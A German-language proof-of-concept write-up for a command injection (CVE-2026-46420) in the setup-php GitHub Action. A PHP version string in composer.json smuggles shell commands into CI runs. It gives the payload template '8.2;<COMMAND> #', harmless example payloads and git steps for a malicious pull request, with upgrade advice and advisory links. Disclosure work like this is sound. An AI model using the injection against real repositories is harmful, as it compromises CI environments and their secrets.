
PoC für CVE-2026-46420, Befehlsinjektion in shivammathur/setup-php über repository-kontrollierte PHP-Versionsauflösung.
Befehlsinjektion in shivammathur/setup-php, wenn die PHP-Version aus repository-kontrollierten Dateien geladen wird.
Betroffen:
>= 2.25.0, < 2.37.1
Behoben:
>= 2.37.1
Das Ziel-Repository enthält bereits einen verwundbaren Workflow, der den Inhalt des Pull Requests auscheckt und [email protected] ausführt.
Der Angreifer ändert nur composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Wenn setup-php die PHP-Version aus composer.json liest, wird der injizierte Befehl in das erzeugte Shell-Skript aufgenommen und ausgeführt.
Ergebnis:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Erstelle einen Branch aus dem Ziel-Repository:
git checkout -b poc-test
Ersetze die saubere composer.json durch die PoC-Version:
cp attacker/composer.json composer.json
Committen und pushen:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Öffne einen Pull Request von poc-test nach main.
Der Actions-Lauf sollte zeigen, dass demo-app/.env.example während des setup-php-Schritts modifiziert wurde.
Das Payload-Format lautet:
8.2;<COMMAND> #
Aktuelles Payload:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
Der ausgeführte Befehl lautet:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Um zu ändern, was der PoC tut, ersetze den Befehl zwischen 8.2; und #.
Datei erstellen:
8.2;touch poc-executed #
In eine Datei schreiben:
8.2;printf 'poc executed\n' > poc-result.txt #
Befehlsausgabe ausgeben:
8.2;id #
Beispiel composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Führe ein Upgrade auf [email protected] oder neuer durch.
Dasselbe Payload wird bei der gepatchten Version abgelehnt.
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b